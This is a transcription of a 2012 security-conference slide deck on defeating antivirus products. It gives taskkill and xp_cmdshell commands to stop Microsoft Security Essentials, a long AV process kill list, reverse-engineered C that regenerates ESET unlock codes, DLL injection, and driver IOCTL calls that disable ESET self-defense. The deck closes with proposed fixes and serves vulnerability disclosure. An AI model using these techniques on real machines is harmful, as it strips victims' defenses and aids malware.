disabling andtivirus programs

Transcription

disabling andtivirus programs
Disabling Antivirus
program(s)
András Tevesz
andras.tevesz@bdo.hu
1
12. október 17., szerda
Agenda
•
Motivation
• Microsoft Security Essentials
• ESET Nod
• Unlocking password protection
• Defeating self protection
•
•
Changing the rules
Possible solutions
2
12. október 17., szerda
Microsoft Security :)
Essentials
• Defeating MSSE
• taskkill /f /im msseces.exe /im MsMpEng.exe
• MSSQL:
• EXEC xp_cmdshell 'taskkill /f /im
msseces.exe /im MsMpEng.exe' ; GO
3
12. október 17., szerda
VIDEO DEMO
Disable MS SE with
MS taskkill
4
12. október 17., szerda
5
12. október 17., szerda
6
12. október 17., szerda
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe
_avpcc.exe
_avpm.exe
aAvgApi.exe
ackwin32.exe
adaware.exe
advxdwin.exe
agentsvr.exe
agentw.exe
alertsvc.exe
alevir.exe
alogserv.exe
amon9x.exe
anti-trojan.exe
antivirus.exe
ants.exe
apimonitor.exe
aplica32.exe
apvxdwin.exe
arr.exe
atcon.exe
atguard.exe
atro55en.exe
atupdater.exe
atwatch.exe
au.exe
aupdate.exe
autoprotect.nav80try
.exe
autodown.exe
autotrace.exe
autoupdate.exe
avconsol.exe
ave32.exe
avgcc32.exe
avgctrl.exe
avgemc.exe
avgnt.exe
avgrsx.exe
avgserv.exe
avgserv9.exe
avguard.exe
avgw.exe
avkpop.exe
avkserv.exe
avkservice.exe
avkwctl9.exe
avltmain.exe
avnt.exe
avp.exe
avp.exe
12. október 17., szerda
msf/scripts/
meterpreter/killav.rb
avp32.exe
avpcc.exe
avpdos32.exe
avpm.exe
avptc32.exe
avpupd.exe
avsched32.exe
avsynmgr.exe
avwin.exe
avwin95.exe
avwinnt.exe
avwupd.exe
avwupd32.exe
avwupsrv.exe
avxmonitor9x.exe
avxmonitornt.exe
avxquar.exe
backweb.exe
bargains.exe
bd_professional.
exe
beagle.exe
belt.exe
bidef.exe
bidserver.exe
bipcp.exe
bipcpevalsetup.e
xe
bisp.exe
blackd.exe
blackice.exe
blink.exe
blss.exe
bootconf.exe
bootwarn.exe
borg2.exe
bpc.exe
brasil.exe
bs120.exe
bundle.exe
bvt.exe
ccapp.exe
ccevtmgr.exe
ccpxysvc.exe
cdp.exe
cfd.exe
cfgwiz.exe
cfiadmin.exe
cfiaudit.exe
cfinet.exe
cfinet32.exe
claw95.exe
claw95cf.exe
clean.exe
cleaner.exe
cleaner3.exe
cleanpc.exe
click.exe
cmd.exe
cmd32.exe
cmesys.exe
cmgrdian.exe
cmon016.exe
connectionmonito
r.exe
cpd.exe
cpf9x206.exe
cpfnt206.exe
ctrl.exe
cv.exe
cwnb181.exe
cwntdwmo.exe
datemanager.exe
dcomx.exe
defalert.exe
defscangui.exe
defwatch.exe
deputy.exe
divx.exe
dllcache.exe
dllreg.exe
doors.exe
dpf.exe
dpfsetup.exe
dpps2.exe
drwatson.exe
drweb32.exe
drwebupw.exe
dssagent.exe
dvp95.exe
dvp95_0.exe
ecengine.exe
efpeadm.exe
emsw.exe
ent.exe
esafe.exe
escanhnt.exe
escanv95.exe
espwatch.exe
ethereal.exe
etrustcipe.exe
evpn.exe
exantiviruscnet.exe
exe.avxw.exe
expert.exe
explore.exe
f-agnt95.exe
f-prot.exe
f-prot95.exe
f-stopw.exe
fameh32.exe
fast.exe
fch32.exe
fih32.exe
findviru.exe
firewall.exe
fnrb32.exe
fp-win.exe
fp-win_trial.exe
fprot.exe
frw.exe
fsaa.exe
fsav.exe
fsav32.exe
fsav530stbyb.exe
fsav530wtbyb.exe
fsav95.exe
fsgk32.exe
fsm32.exe
fsma32.exe
fsmb32.exe
gator.exe
gbmenu.exe
gbpoll.exe
generics.exe
gmt.exe
guard.exe
guarddog.exe
hacktracersetup.
exe
hbinst.exe
hbsrv.exe
hotactio.exe
hotpatch.exe
htlog.exe
htpatch.exe
hwpe.exe
hxdl.exe
hxiul.exe
iamapp.exe
iamserv.exe
iamstats.exe
ibmasn.exe
ibmavsp.exe
icload95.exe
icloadnt.exe
icmon.exe
icsupp95.exe
icsuppnt.exe
idle.exe
iedll.exe
iedriver.exe
iexplorer.exe
iface.exe
init.exe
intdel.exe
intren.exe
iomon98.exe
istsvc.exe
jammer.exe
jdbgmrg.exe
jedi.exe
kavlite40eng.exe
kavpers40eng.exe
kavpf.exe
kazza.exe
keenvalue.exe
kerio-pf-213-enwin.exe
kerio-wrl-421-enwin.exe
kerio-wrp-421-enwin.exe
kernel32.exe
killprocesssetup1
61.exe
launcher.exe
ldnetmon.exe
ldpro.exe
ldpromenu.exe
ldscan.exe
lnetinfo.exe
loader.exe
localnet.exe
lockdown.exe
lockdown2000.exe
lookout.exe
lordpe.exe
lsetup.exe
luall.exe
luau.exe
lucomserver.exe
luinit.exe
luspt.exe
mapisvc32.exe
mcagent.exe
mcmnhdlr.exe
mcshield.exe
mctool.exe
mcupdate.exe
mcvsrte.exe
mcvsshld.exe
md.exe
mfin32.exe
mfw2en.exe
mfweng3.02d30.exe
mgavrtcl.exe
mgavrte.exe
7
mghtml.exe
mgui.exe
minilog.exe
mmod.exe
monitor.exe
moolive.exe
mostat.exe
mpfagent.exe
mpfservice.exe
mpftray.exe
mrflux.exe
msapp.exe
msbb.exe
msblast.exe
mscache.exe
msccn32.exe
mscman.exe
msconfig.exe
msdm.exe
msdos.exe
msiexec16.exe
msinfo32.exe
mslaugh.exe
msmgt.exe
msmsgri32.exe
mssmmc32.exe
mssys.exe
msvxd.exe
mu0311ad.exe
mwatch.exe
n32scanw.exe
nav.exe
navap.navapsvc.ex
e
navapsvc.exe
navapw32.exe
navdx.exe
navlu32.exe
navnt.exe
navstub.exe
navw32.exe
navwnt.exe
nc2000.exe
ncinst4.exe
ndd32.exe
neomonitor.exe
neowatchlog.exe
netarmor.exe
netd32.exe
netinfo.exe
netmon.exe
netscanpro.exe
netspyhunter-1.2.
exe
netstat.exe
netutils.exe
nisserv.exe
nisum.exe
nmain.exe
nod32.exe
normist.exe
norton_internet_s
ecu_3.0_407.exe
notstart.exe
npf40_tw_98_nt_me
_2k.exe
npfmessenger.exe
nprotect.exe
npscheck.exe
npssvc.exe
nsched32.exe
nssys32.exe
nstask32.exe
nsupdate.exe
nt.exe
ntrtscan.exe
ntvdm.exe
ntxconfig.exe
nui.exe
nupgrade.exe
nvarch16.exe
nvc95.exe
nvsvc32.exe
nwinst4.exe
nwservice.exe
nwtool16.exe
ollydbg.exe
onsrvr.exe
optimize.exe
otfix.exe
outpost.exe
outpostinstall.ex
e
outpostproinstall
.exe
padmin.exe
panixk.exe
patch.exe
pavcl.exe
pavproxy.exe
pavsched.exe
pavw.exe
pccwin98.exe
pcfwallicon.exe
pcip10117_0.exe
pcscan.exe
pdsetup.exe
periscope.exe
persfw.exe
perswf.exe
pf2.exe
pfwadmin.exe
pgmonitr.exe
pingscan.exe
platin.exe
pop3trap.exe
poproxy.exe
popscan.exe
portdetective.exe
portmonitor.exe
powerscan.exe
ppinupdt.exe
pptbc.exe
ppvstop.exe
prizesurfer.exe
prmt.exe
prmvr.exe
procdump.exe
processmonitor.ex
e
procexplorerv1.0.
exe
programauditor.ex
e
proport.exe
protectx.exe
pspf.exe
purge.exe
qconsole.exe
qserver.exe
rapapp.exe
rav7.exe
rav7win.exe
rav8win32eng.exe
ray.exe
rb32.exe
rcsync.exe
realmon.exe
reged.exe
regedit.exe
regedt32.exe
rescue.exe
rescue32.exe
rrguard.exe
rshell.exe
rtvscan.exe
rtvscn95.exe
rulaunch.exe
run32dll.exe
rundll.exe
rundll16.exe
ruxdll32.exe
ESET NOD 5.x
Self Defense Methods
• Registry Access/Modification Protection
• Kernel driver and ioctl protection
• Process access protection
• Service protection
8
12. október 17., szerda
Registry Protection
9
12. október 17., szerda
Device Driver IOCTL
Access Protection
12. október 17., szerda
EKRN Service and GUI
process protection
12. október 17., szerda
Process Protection
12. október 17., szerda
Password protection
13
12. október 17., szerda
VIDEO DEMO
Disable ESET NOD
password protection with
metasploit script
14
12. október 17., szerda
15
12. október 17., szerda
Password unlock v3
• http://download.eset.com/special/
unlockv3.exe
• Simple code
• CRC32 to simplify the challenge
• Writes a fix value to a pre defined key
• Info\PackageID = 137
16
12. október 17., szerda
Reversing unlockv3.exe
17
12. október 17., szerda
Current Password
unlock
• http://download.eset.com/special/unlock.exe
18
12. október 17., szerda
Reversing unlock.exe
19
12. október 17., szerda
CRC32 table and
“hash” algorithm
//.rdata:0010F5A8
unsigned __int32 crc32_table [] = {
0x00000000,0x74073096,0xee0e612c,0x990951ba,
0x076dc419,0x706af48f,0xe963a535,0x9e6495a3,
0x0edb8832,0x73dcb8a4,0xe0d5e91e,0x97d2d988,
0x09b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,
0x1db71064,0x6ab020f2,0xf3f97148,0x84be41de,
0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,
0x136c9856,0x646ba8c0,0xadd2f97a,0x8a65c9ec,
0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,
0x3b6e20c8,0x4c69105e,0xf56041e4,0xa2677172,
0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,
0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940, ...
0x3f3f3f3f,0x3f3f3f3f,0x3f3f3f3f,0x3f3f3f3f,
0x3f2e3f3f,0x203f323f,0x00000000};
int index =0;
volatile unsigned __int32 ret = ~flag;
if (len)
{
do
{ unsigned __int32 c = data[index];
unsigned __int8 o = ret ^ data[index];
ret = crc32_table[o] ^ ((unsigned int)ret >> 8); index++;
}
while ( index < len );
}
return ~ret;
the data is modified because it is currently not fixed
20
12. október 17., szerda
Unlock code
generation
char computer_name[256]; DWORD SectorsPerCluster = 0;
DWORD BytesPerSector = 0;
DWORD NumberOfFreeClusters = 0;
DWORD TotalNumberOfClusters = 0;
DWORD nSize = 256;
char number[256];
memset (number, 0, sizeof(number));
GetComputerNameA(computer_name, &nSize); // get computer name unsigned __int32 ret1 = check(computer_name,nSize, -­‐1); // hash computer name
GetDiskFreeSpaceA("c:\\", &SectorsPerCluster, &BytesPerSector,
&NumberOfFreeClusters, &TotalNumberOfClusters); // get disk data
unsigned __int32 ID = (SectorsPerCluster + BytesPerSector + TotalNumberOfClusters) ^ ret1;
// calculate the ID
printf( "ID: %u\n",ID);
sprintf(number,"%u",ID);
unsigned __int32 CODE = check(number, strlen(number), ID); // calculate the CODE printf("CODE: %u\n", CODE);
return ret3;
21
12. október 17., szerda
Unlock summary
•
•
•
•
•
•
•
client side code generation
client side code validation
client side reproduction of the response code
missing license validation
reusable response code
missing timeout support
easy reproduction of the response code
22
12. október 17., szerda
Defeating ESET NOD
Self defense
• ESET process protection
• ESET kernel protection
• Digital signature validation
• Injection into signed and trusted process
23
12. október 17., szerda
VIDEO demo
change an exclude rule
24
12. október 17., szerda
25
12. október 17., szerda
Simple Injection
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL; static HHOOK hhookSysMsg;
printf("hooking GetMsgProc in eset smart installer ...\n");
hinstDLL = LoadLibrary(TEXT("inject.dll")); hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "GetMsgProc"); hhookSysMsg = SetWindowsHookEx( WH_GETMESSAGE, hkprcSysMsg, hinstDLL, 0); •
Simple, reliable standard • API to inject DLL into any SetWindowsHookEx
process’s address space 26
12. október 17., szerda
Disable ESET self
defense
/*
0x18FDCC 1 637 836 <-­‐ in 4 byte value :4 0x18FDD0 1 637 840 <-­‐ out 12 byte
0x18FDD4 1 637 844 <-­‐ out 8 byte
0x18FDD8 1 637 848 <-­‐ out 4 byte
0x18FDDC 1 637 852 <-­‐ in 10 byte
*/
struct _OVERLAPPED Overlapped;
memset(&Overlapped,0,sizeof(Overlapped));
HANDLE ehdrv_handle = CreateFile("\\\\.\\ehdrv",GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING,FILE_FLAG_OVERLAPPED| FILE_ATTRIBUTE_NORMAL, NULL); if(ehdrv_handle == INVALID_HANDLE_VALUE)
{
LOG ("Filed to open ehdrv file\n");
return;
}
LOG ("CreateFile ehdrv\n");
int buffer[4]; // 4*4 byte
memset(buffer,0,sizeof(buffer));
buffer[0] = 4;
DWORD ret = 0;
DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4, &buffer[1], 4*3, &ret, &Overlapped);
buffer[0] = 9;
buffer[1] = ret;
DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4*4, &buffer[2], 4*2, &ret, &Overlapped);
DeviceIoControl ( ehdrv_handle, 0x002224c3, buffer, 4*4, &buffer[2], 4, &ret, &Overlapped);
27
12. október 17., szerda
Self defense
summary
• Selective or whitelist based process
protection
• Partial or image based digital certificate
validation
28
12. október 17., szerda
Possible Solutions for
self defense
• Protect all ESET signed
process/image
• Validate all loaded modules in
the process
29
12. október 17., szerda
RSA based response
code generation
• sign request with a generated user key
• send request to ESET HQ
• validate request (license validation)
• send a signed response to the user
• ESET NOD should accept and verify only
valid and signed responses
30
12. október 17., szerda
RSA encrypted
password
• Store the password encrypted with an RSA
public key
• Send it to the ESET HQ for decryption
with the private key
12. október 17., szerda
Crypto api check
trusted image
•
•
•
•
•
CryptQueryObject
•
CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_E
MBED
CryptMsgGetParam
CryptDecodeObject
•
SPC_SP_OPUS_INFO_OBJID
CertFindCertificateInStore
GetTimeStampSignerInfo
32
12. október 17., szerda
Validate all modules
• CreateToolhelp32Snapshot
• Module32First, Module32Next
• OpenProcess
• EnumProcessModulesEx
• LIST_MODULES_ALL
33
12. október 17., szerda
ESET signed binaries
• protect all ESET signed binaries
34
12. október 17., szerda
Q&A
35
12. október 17., szerda